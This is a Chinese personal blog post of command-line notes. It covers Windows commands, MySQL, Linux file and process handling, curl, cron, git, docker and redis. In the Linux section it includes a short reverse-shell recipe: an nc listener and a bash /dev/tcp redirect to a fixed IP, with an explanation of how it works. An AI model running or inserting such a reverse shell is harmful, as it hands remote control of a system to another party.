常用命令记录

发布时间 2023-03-23 15:05:51作者: 少年阿丁

windows命令
Java -version 查看jdk版本
:d
cd:目录名
cd:..
dir 列出目录文件列表

fsutil file createnew test.txt 10240000000 #新建超大文件
& 命令1 & 命令2 先运行命令 1,然后运行命令 2
&& 命令1 && 命令2 仅当命令 1 成功结束时才运行命令 2
|| 命令1 || 命令2 仅当命令 1 失败时才运行命令 2


关闭进程
1.找到已占用端口号的进程号,例如端口号:8080
netstat -ano
netstat -ano | findstr 8080
2.关闭对应的进程号
taskkill /pid 7460 -t -f
3.查看进程
tasklist
tasklist|findstr 9088

★CMD命令★
gpedit.msc-----组策略
sndrec32-------录音机
Nslookup-------IP地址侦测器
explorer-------打开资源管理器
logoff---------注销命令
tsshutdn-------60秒倒计时关机命令
lusrmgr.msc----本机用户和组
services.msc—本地服务设置
oobe/msoobe /a----检查XP是否激活
notepad--------打开记事本
cleanmgr-------垃圾整理
net start messenger----开始信使服务
compmgmt.msc—计算机管理
net stop messenger-----停止信使服务
conf-----------启动netmeeting
dvdplay--------DVD播放器
charmap--------启动字符映射表
diskmgmt.msc—磁盘管理实用程序
calc-----------启动计算器
dfrg.msc-------磁盘碎片整理程序
chkdsk.exe-----Chkdsk磁盘检查
devmgmt.msc— 设备管理器
regsvr32 /u *.dll----停止dll文件运行
drwtsn32------ 系统医生
rononce -p ----15秒关机
dxdiag---------检查DirectX信息
regedt32-------注册表编辑器
Msconfig.exe—系统配置实用程序
rsop.msc-------组策略结果集
mem.exe--------显示内存使用情况
regedit.exe----注册表
winchat--------XP自带局域网聊天
progman--------程序管理器
winmsd---------系统信息
perfmon.msc----计算机性能监测程序
winver---------检查Windows版本
sfc /scannow-----扫描错误并复原
taskmgr-----任务管理器(2000/xp/2003
winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构(WMI)
wupdmgr--------windows更新程序
wscript--------windows脚本宿主设置
write----------写字板
winmsd---------系统信息
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天
mem.exe--------显示内存使用情况
Msconfig.exe—系统配置实用程序
mplayer2-------简易widnows media player
mspaint--------画图板
mstsc----------远程桌面连接
mplayer2-------媒体播放机
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令
dxdiag---------检查DirectX信息
drwtsn32------ 系统医生
devmgmt.msc— 设备管理器
dfrg.msc-------磁盘碎片整理程序
diskmgmt.msc—磁盘管理实用程序
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
dvdplay--------DVD播放器
net stop messenger-----停止信使服务
net start messenger----开始信使服务
notepad--------打开记事本
nslookup-------网络管理的工具向导
ntbackup-------系统备份和还原
narrator-------屏幕“讲述人”
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc—移动存储管理员操作请求
netstat -an----(TC)命令检查接口
syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
sndrec32-------录音机
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc—本地服务设置
Sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc /scannow—windows文件保护
tsshutdn-------60秒倒计时关机命令
tsshutdn-------60秒倒计时关机命令
tourstart------xp简介(安装完成后出现的漫游xp程序)
taskmgr--------任务管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打开资源管理器
packager-------对象包装程序
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit.exe----注册表
rsop.msc-------组策略结果集
regedt32-------注册表编辑器
rononce -p ----15秒关机
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序
calc-----------启动计算器
charmap--------启动字符映射表
cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
compmgmt.msc—计算机管理
cleanmgr-------垃圾整理
ciadv.msc------索引服务程序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组
logoff---------注销命令
iexpress-------木马捆绑工具,系统自带
Nslookup-------IP地址侦测器
fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器
gpedit.msc-----组策略
explorer-------打开资源管理器

在MySQL的bin目录下执行
mysql -u root -p 进入mysql 需输入密码
show database; 展示所有数据库
use 数据库名 选择该数据库
show tables; 展示本库所有表
通过sql语句执行相应操作

cmd 命令行模式操作数据库 添加查询 修改 删除 ( 表 字段 数据)
一 查看数据库、表、数据字段、数据

1 首先配置环境变量 进入mysql 或者通过一键集成工具 打开mysql命令行 或者mysql 可视化工具 打开命令行

进入这样的界面 不同的机器操作不同,这里就不一一描述了

2 查看当前所有的数据库

show databases;

3 选择(进入) 数据库

use 数据库名;

4 查看当前数据库所有的表

show tables;

5 查看 某个表的字段结构

desc 表明;

6 查询表数据

select * from 表名;

二 新建数据库、数据表(表)、数据(添加数据)

1 新建数据库

create database 数据库名;

进入新建数据库 创建表

2 新建表

CREATE TABLE 表名 (

字段名字 数据类型 修饰

) 注意至少要有一个字段 修饰与数据类型在这里不再详细说明 关键字大写 字段间用,隔开 最后一行不用

3 添加数据

insert into 表名 valuse(值,值);

三 修改数据表,修改数据

1 修改数据表

(1)alter table 表名 add 字段名 类型 修饰【加的列在表的最后面】

(2)alter table 表名 add 字段名 类型 修饰 after 某列【把新列加在某列后面】

(3)alter table 表名 add 字段名字 类型 参数 first【把新列加在最前面】

2 修改数据

update user set name=新值 where

3 修改数据库 版本不同方法不同

RENAME database oldname TO newname; (最新5.2以上好像已经放弃,有需要请参考其他方法)
版本已经放弃

四 删除数据库,数据表,数据

1 删除数据库
drop database 数据库名;

2删除数据表
drop table 表名

3 删除数据
delete from 表名 where;


#####################################################################################################################
Linux常用命令

Linux 含义 windows
/bin 所有用户可用的基本命令存放的位置 windows没有固定的命令存放目录
/sbin 需要管理员权限才能使用的命令
/boot linux系统启动的时候需要加载和使用的文件
/dev 外设连接linux后,对应的文件存放的位置 类似Windows中的U盘,光盘的符号文件。
/etc 存放系统或者安装的程序的配置文件,注册服务等 类似windows中的注册表,
/home 家目录,linux中每新建一个用户,会自动在home中为该用户分配一个文件夹 类似windows中的"我的文档",每个用户有自己的目录。
/root root账户的家目录,仅供root账户使用 类似windows中的Administrator账户的"我的文档"
/lib linux的命令和系统启动,需要使用一些公共的依赖,放在lib中,类似我们开发的代码执行需要引入的jdk的jar
/usr 很多系统软件的默认安装路径 类似windows中的C盘下的Program Files目录。
/var 系统和程序运行产生的日志文件和缓存文件放在这里

文件名前有个.表示这是隐藏文件
~ 表示home目录
/ 表示根目录

cd 目录名
ls
ls -a #查看隐藏文件和目录
echo "Good morning."
echo "Good morning." >> /tmp/test.txt
mkdir abc #创建文件夹
mkdir -p /abc/bcd
touch test.txt #创建文件
rm 文件 #删除文件
rm -r 文件夹 #删除文件夹
rm -rf #强制删除
cp 原文件 新文件 #拷贝文件
cp -r 原文件夹 新文件夹
mv 文件 文件夹 #移动文件
mv 文件1 文件2 #重命名文件
vi 文件 #编辑文件
必要安装的软件功能
vim 文件 #编辑文件加强版
wget url #wget(下载器)
tree 目标目录 #tree(目录树状显示)

cat 文件名 #查看文件的所有内容,适合小文
less 文件名 #以分页的方式测览文件信息(适合查看大文档), 进入测览模
# 浏览快捷键
上 #浏览上一行
下 #浏览下一行
G #最后一页
g #第一页
空格 #下—页
/关键词 #搜索关键词
# 退出浏览模式,回到Linux命令行模式
q #退出

tail -f 文件名 #实时滚动显示文件的最后10行信息(默认10行)(有新的日志行数会变多)
tail -n 20 文件名 #显示文件信息最近20行,不实时
tail -f -n 20 文件名 #实时滚动显示文件的最后20行信息

find
#语法
find 搜索路径 -name "文件名关键词"
# 例子
find / -name "passwd"
find / -name "ifcfg-*"

grep
# 语法
grep -参数 要查找的目录范围
# 参数
-n 显示查找结果所在行号
-R 递归查找目录下的所有文件
# 例子
grep aries /etc
grep aries /etc/passwd

find . -name "*.log"|xargs grep 'password'
find / -name "*.log"|xargs grep 'pwd' --color=auto
find / -name "*.log"|xargs grep 'DimFilterCustomMetricHelper' --color=auto

#查看某个端口的信息
netstat -anp #查看监听的端口
netstat -anp | grep 8080
#干掉某个进程
kill -9 进程id
# 静态查看系统进程
ps -aux
ps -ef
ps -aux |grep java #查找java进程
# 实时查看系统进程
top
# 快捷键
↑ 下翻
↓ 上翻
q 退出
# 关闭进程
kill 进程id
# 强制关闭进程(谨慎使用)
kill -9 进程id

# 将命令1的执行结果,输出到后面的文件中。
命令1 > 文件 #覆盖写入
命令1 >> 文件 #追加写入

#管道符 语法,将命令1的输出结果,作为命令2的输入
命令1|命令2
ps -aux | grep java #查找java进程

chmod
语法:chmod u±rwx,g±rwx,o±rwx 文件名
运算符:
- 删除权限
+ 添加权限
## 给文件的所有者添加执行权限
chmod u+x 文件名
## 给文件的其他人删除所有权限
chmod o-rwx 文件名
## 给文件的所属组设置读写权限
chmod g=wx 文件名
#快捷方式
# 设置文件的权限为(所有者可读可写可执行,所属组可读可写,其他人可读)
chmod 764 文件名

tar -zcvf 压缩后文件名 被压缩文件 #压缩语法:-z 操作tar.gz文件需要使用 -x 解压缩 -c 压缩 -v 显示压缩或者解压缩的执行过程信息 -f 要处理的文件file,必须放在最后
tar -zxvf 压缩文件名 -C 解压后文件所在目录 #解压缩语法

rpm软件
简介:类似于windows中的.exe程序
yum
yum基于rpm实现的,提供了除了rpm的安装软件、卸载软件等功能以外还有,自动查找、下载软件并自动处理软件的彼此之间的依赖关系,下载并安装依赖包。
# 远程登录linux
ssh 远程linux的ip或者映射域名

scp 本地的文件 root@远程linuxip:/远程linux的文件路径
scp -r 本地的目录 root@远程linuxip:/远程linux的文件路径

##
; 命令1 ; 命令2 先运行命令 1,然后运行命令 2
&& 命令1 && 命令2 仅当命令 1 成功结束时才运行命令 2
|| 命令1 || 命令2 仅当命令 1 失败时才运行命令 2

0>表示标准输入
1>表示标准输出,1有时也可以忽略不写,默认1
2>表示标准错误输出
标准输出指向log.txt
ls 1>log.txt
ls >log.txt
标准错误输出指向log.txt
ls 2>log.txt
标准错误输出指向标准输出
2>&1

反弹shell
nc -lvp 6767
-|监听, -V输出交互或出错信息, -p端口. nc是netcat的简写, 可实现任意TCP/UDP端口的侦听, nc可以作为server以TCP或UDP方式侦听指定端口.
bash -i >&/dev/tcp/10.201.61.194/6767 0>&1
-i interactive。即产生一个交互式的shell (bash)
特殊设备文件 (Linux一切皆文件) , 实际这个文件是不存在的, 它只是baah实现的用来实现网络请求的一个接口.
打开这个文件就相当于发出了一个socket调用并建立一个socket连接, 读写这个文件就相当于在这个socket连接中传输数据.

ping命令
ping 192.168.120.205 #ping的通的情况:64 bytes from 192.168.120.205: icmp_seq=1 ttl=64 time=0.720 ms
ping 192.168.120.205 #ping的不通的情况:from 192.168.120.205 icmp_seq=1 destination host unreachable
ping -b 192.168.120.1 #ping网关
ping -c 10 192.168.120.206 #ping指定次数
ping -c 10 -i 0.5 192.168.120.206 #时间间隔和次数限制
•使用ping检查连通性有六个步骤:
•1.使用ifconfig观察本地网络设置是否正确;
•2.ping127.0.0.1,127.0.0.1回送地址ping回送地址是为了检查本地的tcp/ip协议有没有设置好;
•3.ping本机ip地址,这样是为了检查本机的ip地址是否设置有误;
•4.ping本网网关或本网ip地址,这样的是为了检查硬件设备是否有问题,也可以检查本机与本地网络连接是否正常;(在非局域网中这一步骤可以忽略)
•5.ping本地dns地址,这样做是为了检查dns是否能够将ip正确解析。
•6.ping远程ip地址,这主要是检查本网或本机与外部的连接是否正常。

curl命令
curl 是一种命令行工具,作用是发出网络请求,然后获取数据,显示在"标准输出"(stdout)上面。它支持多种协议
curl www.sina.com #直接在 curl 命令后加上网址,就可以看到网页源码
curl -L www.sina.com #有的网址是自动跳转的。使用 -L 参数,curl 就会跳转到新的网址。
curl -i www.sina.com #-i 参数可以显示 http response 的头信息,连同网页代码一起。-I 参数则只显示 http response 的头信息。
curl -v www.sina.com #-v 参数可以显示一次 http 通信的整个过程,包括端口连接和 http request 头信息。
curl -v --location --request POST 'https://10.122.254.51:8080/authservices/npsBusTypeService/findNpsBusTypeList/page/15/1' --header 'Content-Type: application/json' --data-raw '{"npsTitle":"","status":""}'

 


#############################################################################################################
.bashrc
一、.bashrc 是什么?
.bashrc是home目录下的一个shell文件,用于储存用户的个性化设置。在bash每次启动时都会加载.bashrc文件中的内容,并根据内容定制当前bash的配置和环境。
补充: .bash_profile和.bashrc的区别?
两者在登陆bash时都会被bash执行,但是.bash_profile只在会话开始时被读取,而.bashrc在每次打开新的终端时都会被读取。
二、.bashrc 能干什么?
1.个性化指令
alias ll = "ls -lha"
2.设定环境路径
PATH="$PATH:$HOME/.local/bin:$HOME"
export PATH
3.提示符设置
PS1=”[\u: \w]$”
三、.bashrc 怎么用?
可以用任何终端文本编辑器打开.bashrc。以vim为例:
vim ~/.bashrc
编辑.bashrc需要遵循bash脚本格式,

1.个性化指令
打开.bashrc后,可以在利用利用命名函数alias定制需要的指令,如
#用 ll 代替 ls -lha 这个命令,在此bash下输入命令 ll 等
#同于输入 ls -lha 命令
alias ll = "ls -lha"
除了缩短命名,也可以用bash函数组合多个命令到一个操作,这些命令大多遵循以下语法。
语法一:
function function_name {
command1
<^>command2</^>
}
语法二:
function_name () {
command_1
command_2
}
你对 .bashrc 所做的任何修改将在下一次启动终端时生效。如果你想立刻生效的话,运行下面的命令:
source ~/.bashrc
四、.bashrc 没了怎么办?
首先,首先,首先,.bashrc可以删除,但是删除不存在任何好处。
如果用户删除了.bashrc,可以从如下路径拷贝一份原始的.bashrc文件到用户home目录下
cp /etc/skel/.bashrc ~/


#########################################################################################################
cron 定时执行
systemctl status crond.service 查看服务器是否安装了cron 安装参考https://blog.csdn.net/hukai0q/article/details/83380951

[root@localhost cron]# vi/etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# run-part
*/1 * * * * root /root/test/killffmpeg.sh


文件/etc/crontab中每行任务的描述格式如下:

minute hour day month dayofweek command

minute - 从0到59的整数

hour - 从0到23的整数

day - 从1到31的整数 (必须是指定月份的有效日期)

month - 从1到12的整数 (或如Jan或Feb简写的月份)

dayofweek - 从0到7的整数,0或7用来描述周日 (或用Sun或Mon简写来表示)

command - 需要执行的命令(可用as ls /proc >> /tmp/proc或 执行自定义脚本的命令)

每一分钟执行 */1 * * * *

每小时执行 0 * * * *

每天执行 0 0 * * *

每周执行 0 0 * * 0

每月执行 0 0 1 * *

每年执行 0 0 1 1 *

root表示以root用户身份来运行

#############################################################################################################
git
工作区,暂存区,本地仓库,远程仓库
touch test1.txt #在工作区(当前可以看的见的目录)随便新建一个文件
git add test1.txt #将工作区文件添加到暂存区
git commit #将暂存区文件添加到本地仓库
git push #将本地仓库推送到远程仓库
git pull #拉取远程分支更新到本地的操作,git pull是相当于从远程仓库获取分支最新版本,然后再与本地分支合并,在大多数情况下它的含义是一个 git fetch 紧接着一个 git merge 命令
git clone -b 分支 版本库的url #将远程仓库克隆到本地,-b 指定分支,clone操作是一个从无到有的克隆操作
git status #查看状态
git restore d.txt #撤销,恢复文件
git reset --hard 80b5396 #退回版本: 80b5396
git checkout <branch_name > #切换分支

git分支操作
git branch #git branch 命令不只是可以创建与删除分支。 如果不加任何参数运行它,会得到当前所有分支的一个列表
git branch -v #查看每一个分支的最后一次提交
git branch testbranch #创建分支
git checkout tesbranch #切换分支,这条命令做了两件事,一是使 HEAD 指向新分支,二是将工作变成新分支所指向的快照内容
[git checkout master
[git merge testbranch #将 testbranch 分支合并回master 分支
git branch -d testbranch #-d 删除分支

git恢复被删除的文件
情景一:删除操作提交到了本地库
情景解释 : 工作区中删除一个文件a, git add 到暂存区, git commit 提交版本库
$ git log --oneline #查看日志
34ae4d4 (HEAD -> master) delete a.txt
80b5396 init project
$ git reset --hard 80b5396 #退回到包合 a.txt 的版本: 80b5396
HEAD is now at 80b5396 init project
情景二:删除操作添加到了暂存区
情景解释 : 工作区中删除一个文件,git add 到暂存区
$ git reset --hard HEAD #回到最近的版本中(包含 b.txt的),--hard 重置工作区和特存区与版本库保持一致
HEAD is now at 8Ob5396 init project
情景三:删除操作仅在工作区
情景解释 : 工作区中删除一个文件
方式一
$ git reset --hard HEAD #强行重置成当前版本的状态
HEAD is now at 8Ob5396 init project
方式二
$ git restore d.txt #撤销,恢复文件
$ git restore . #撤销,恢复当前目录文件

#############################################################################################################
docker
1.查看有哪些运行中容器,然后选择想进入的容器名称
docker ps
2.进入容器
docker exec -it 容器名称 /bin/bash
3.查看镜像列表常用命令
docker images

容器内退出:
exit
ctrl+p+q

#############################################################################################################
redis
redis-server.exe #启动redis服务
redis-cli.exe -h 127.0.0.1 -p 6379 -a 密码 #客户端连接redis 乱码redis-cli --raw
set myKey abc #设置key
get myKey #获取key
DEL key 该命令用于在 key 存在时删除 key。
DUMP key 序列化给定 key ,并返回被序列化的值。
EXPIRE key seconds 为给定 key 设置过期时间,以秒计。
TYPE key 返回 key 所储存的值的类型。

 

 

快捷键
idea快捷键
alt+inster #快速生成代码

windows快捷键
ctrl+alt+l #格式化代码
shift + tab #左移代码
shift #右移代码

shift+end #快速选中一行,当前光标到行尾
Shift+Home #当前光标到行首
Shift+PgUp #当前光标到页尾
Shift+PgDn #当前光标到页首
shift+Ins #粘贴
win+e #打开文件管理

linux快捷键
shift+Ins #粘贴
shift+DEL #复制